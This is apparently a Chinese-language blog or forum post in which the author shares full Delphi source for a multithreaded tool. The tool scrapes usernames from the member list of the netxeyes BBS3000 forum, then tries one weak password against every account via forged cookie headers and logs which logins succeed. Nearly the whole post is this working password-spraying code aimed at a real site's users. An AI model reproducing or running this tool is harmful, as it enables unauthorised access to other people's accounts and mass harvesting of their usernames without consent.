今天年初四,已經呆在宿舍三天了..好無聊,上網上得眼睛都發痛,可東西卻沒學到,看看PHOTOSHOP,看看DELPHI,再瀏覽下網頁,時間就這樣過了.好無聊.寫了個程式,掃描小榕論壇使用者弱口令的,寫完後測試一下,發現論壇上弱口令的人還真不少。我對多線程不太熟,裡面有什麼不對的希望廣大高手能指出,謝謝。
程式就不提供下載了,截個圖
{===============================}
{ by Lanyus }
{ QQ:231221 }
{ E-Mail:greathjw [at] 163.com }
{===============================}
unit UtMain;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls, Buttons, IdBaseComponent, IdComponent, UtStart,
IdCookieManager, ScktComp, IdTCPConnection, IdTCPClient, IdHTTP,UtStartGetPW;
//IdTCPConnection, IdTCPClient, IdHTTP, ScktComp, UtgETun, IdCookieManager,IdHeaderList;
type
TFmMain = class(TForm)
PageControl1: TPageControl;
TabSheet1: TTabSheet;
Memo1: TMemo;
IdP: TIdHTTP;
Memo2: TMemo;
IdCookieManager1: TIdCookieManager;
BitBtn3: TBitBtn;
Memo3: TMemo;
TabSheet2: TTabSheet;
BitBtn2: TBitBtn;
Memo4: TMemo;
Memo5: TMemo;
Memo6: TMemo;
BitBtn1: TBitBtn;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
BitBtn4: TBitBtn;
Label4: TLabel;
Edit1: TEdit;
Label5: TLabel;
Label6: TLabel;
Label7: TLabel;
Label8: TLabel;
Edit2: TEdit;
procedure BitBtn3Click(Sender: TObject);
procedure BitBtn2Click(Sender: TObject);
procedure BitBtn1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure BitBtn4Click(Sender: TObject);
private
TST:TStartGetPW;
{ Private declarations }
public
{ Public declarations }
end;
const
MAX_Thread_NO=6; //最大線程數
var
FmMain: TFmMain;
Pages:integer=0;
rs:string;
Start:array[0..MAX_Thread_NO] of TStart;
implementation
{$R *.dfm}
procedure TFmMain.BitBtn3Click(Sender: TObject);
VAR
rs:string;
i:integer;
begin
BitBtn1.Enabled:=True;
Start[0]:=TStart.Create(1,500);
Start[1]:=TStart.Create(501,1000);
Start[2]:=TStart.Create(1001,1500);
Start[3]:=TStart.Create(1501,2000);
Start[4]:=TStart.Create(2001,2500);
Start[5]:=TStart.Create(2501,3000);
Start[6]:=TStart.Create(3001,3464);
end;
procedure TFmMain.BitBtn2Click(Sender: TObject);
var
UNList:TstringList;
begin
tst:=TStartGetPW.create(false);
end;
procedure TFmMain.BitBtn1Click(Sender: TObject); //讀取使用者暫停
var
i:integer;
begin
for i:=0 to MAX_Thread_NO do
begin
if Start[i].Suspended then
begin
BitBtn1.Caption:='暫停';
start[i].Resume;
end
else
begin
BitBtn1.Caption:='繼續';
Start[i].Suspend;
end;
end;
end;
procedure TFmMain.FormCreate(Sender: TObject);
var
i:integer;
begin
for i:=0 to ComponentCount-1 do
begin
if Components[i] is TMemo then TMemo(Components[i]).Clear;
end;
end;
procedure TFmMain.BitBtn4Click(Sender: TObject);
var
i:integer;
begin
if tst.Suspended then
begin
BitBtn4.Caption:='暫停';
tst.Resume;
end
else
begin
BitBtn4.Caption:='繼續';
tst.Suspend;
end;
end;
end.
unit UtStartGetPW;
interface
uses
Classes,UtGetuserPsd,sysutils;
type
TStartGetPW = class(TThread)
private
{ Private declarations }
protected
TS:TGetUnserPsd;
procedure Execute; override;
end;
implementation
uses UtMain;
{ Important: Methods and properties of objects in visual components can only be
used in a method called using Synchronize, for example,
Synchronize(UpdateCaption);
and UpdateCaption could look like,
procedure TStartGetPW.UpdateCaption;
begin
Form1.Caption := 'Updated in a thread';
end; }
{ TStartGetPW }
procedure TStartGetPW.Execute;
var
i:integer;
UNList:TStringList;
begin
freeonterminate:=true;
UNlist:=TStringList.Create;
UNLIST.LoadFromFile('username.txt');
for i:=0 to UNList.Count-1 do
begin
TS:=TGetunserpsd.Create(UNList.Strings[i],i);
sleep(StrToInt(FmMain.Edit2.Text)); //不要太快,否則打不開網頁
end;
{ Place thread code here }
end;
end.
{===============================}
{ by Lanyus }
{ QQ:231221 }
{ E-Mail:greathjw [at] 163.com }
{===============================}
unit UtGetuserPsd;
interface
uses
Classes,Idhttp,IdHeaderList,SysUtils;
type
TGetUnserPsd = class(TThread)
private
{ Private declarations }
protected
UN,pW:STRING;
uid:integer;
idp:TidHttp;
HttpHead:TidHeaderList;
procedure Execute; override;
public
Constructor Create(UserName:string;id:integer);
Destructor Destroy; override;
end;
implementation
uses UtMain;
{ Important: Methods and properties of objects in visual components can only be
used in a method called using Synchronize, for example,
Synchronize(UpdateCaption);
and UpdateCaption could look like,
procedure TGetUnserPsd.UpdateCaption;
begin
Form1.Caption := 'Updated in a thread';
end; }
{ TGetUnserPsd }
constructor TgetUnserPsd.Create(Username:string;id:integer);
begin
uid:=id;
un:=username;
idp:=Tidhttp.Create(nil);
httpHead:=TidHeaderList.Create;
inherited Create(false);
end;
destructor TgetUnserPsd.Destroy;
begin
idp.Free;
httphead.Free;
inherited destroy;
end;
procedure TGetUnserPsd.Execute;
var
html:string;
begin
freeonterminate:=true;
httpHead.Text:='cookie: nowtime=20060131210233; cometime=21_02_05__21_02_05_0Content-type: text/html; clicks=20060131172355; style=; lasttxt=20060131122028; username='+
un+'; password='+FmMain.Edit1.text+'; xuansave=; estate=; line=; qmh=; bgcolor=';
idp.Request.CustomHeaders:=Httphead;
try
html:=idp.Get('http://www.netxeyes.com/cgi-bin/bbs3000/race.cgi'); //償試開啟騫馬頁面,如密碼正確則能正常開啟
except
try
sleep(300);
html:=idp.Get('http://www.netxeyes.com/cgi-bin/bbs3000/race.cgi');
except
FmMain.Memo5.Lines.Add(IntToStr(uid)+' '+un+' idhttp開啟網頁失敗');
Destroy;
exit;
end;
end;
if pos('出錯提示',html)>0 then
begin
FmMain.Memo4.Lines.Add(IntToStr(uid)+' '+un+' 登入失敗');
end
else
begin
if pos('賽馬中心',html)>0 then
begin
FmMain.Memo6.Lines.Add(IntToStr(uid)+' '+un+' 登入成功');
end
else
FmMain.Memo5.Lines.Add(IntToStr(uid)+' '+un+' 返回未知');
end;
Destroy;
{ Place thread code here }
end;
end.
unit UtStart;
interface
uses
Classes,Idhttp,IdHeaderList,SysUtils,UtgETun;
type
TStart = class(TThread)
private
{ Private declarations }
protected
idp:TidHttp;
sn,en:integer;
GETUN:TGetUN;
S:TIdHeaderList;
procedure Execute; override;
public
constructor Create(sns,ens:integer);
destructor Destroy; override;
end;
implementation
uses UtMain;
{ Important: Methods and properties of objects in visual components can only be
used in a method called using Synchronize, for example,
Synchronize(UpdateCaption);
and UpdateCaption could look like,
procedure TStart.UpdateCaption;
begin
Form1.Caption := 'Updated in a thread';
end; }
{ TStart }
constructor TStart.Create(sns,ens:integer);
begin
sn:=sns;
en:=ens;
s:=TIdHeaderList.Create;
idp:=TidHttp.Create(nil);
inherited Create(false);
end;
destructor TStart.Destroy;
begin
idp.Free;
s.Free;
inherited destroy;
end;
procedure TStart.Execute;
VAR
rs:string;
i:integer;
begin
freeonterminate:=true;
s.Text:='Cookie: nowtime='+formatDateTime('yyyymmddhhmmss',now)+
'; cometime=16_00_59__15_57_58_0; clicks=20020711142129; style=';;
idp.Request.CustomHeaders:=s;
for i:=sn to en do
begin
FmMain.Memo2.Lines.Add(IntToStr(i));
try
rs:=idp.Get('http://bbs.netxeyes.org/cgi-bin/bbs3000/memberlist.cgi?page='+IntToStr(i));
GetUn:=TGetUn.Create(rs); //讀取HTML代碼後則交給分析使用者名稱線程處理
except
try
sleep(300); //如果開啟網頁失敗則睡眠300MS再繼續
rs:=idp.Get('http://bbs.netxeyes.org/cgi-bin/bbs3000/memberlist.cgi?page='+IntToStr(i));
GetUn:=TGetUn.Create(rs);
except
FmMain.Memo3.Lines.Add(IntToStr(i)+'開啟網頁失敗');
continue;
end;
end;
end;
FmMain.Memo3.Lines.Add(IntToStr(sn)+' - '+IntToStr(en)+' 完畢');
Destroy;
{ Place thread code here }
end;
end.
unit UtGetUN;
interface
uses
Classes,SysUtils;
type
TGetUn = class(TThread)
private
{ Private declarations }
protected
rs:string;
procedure Execute; override;
public
constructor Create(rss:string);
destructor Destroy; override;
end;
implementation
USES UtMAIN;
{ Important: Methods and properties of objects in visual components can only be
used in a method called using Synchronize, for example,
Synchronize(UpdateCaption);
and UpdateCaption could look like,
procedure TGetUn.UpdateCaption;
begin
Form1.Caption := 'Updated in a thread';
end; }
{ TGetUn }
Constructor TGetUn.create(rss:string);
begin
rs:=rss;
inherited Create(false);
end;
destructor TGetUn.Destroy;
begin
inherited Destroy;
end;
procedure TGetUn.Execute;
var
i:integer;
UserName:string;
TF:TextFile;
begin
freeonterminate:=true;
Assign(TF,'Username.txt');
if not FileExists('Username.txt') then
Rewrite(TF)
else
Append(TF);
i:=pos('menu=viewuser&username=',rs);
while i>1 do
begin
delete(rs,1,i+Length('menu=viewuser&username=')-1);
i:=pos(''')>',rs);
Username:=copy(rs,1,i-1);
writeln(TF,Username);
FmMain.Memo1.Lines.Add(Username);
i:=pos('menu=viewuser&username=',rs);
end;
closeFile(tf);
Destroy;
{ Place thread code here }
end;
end.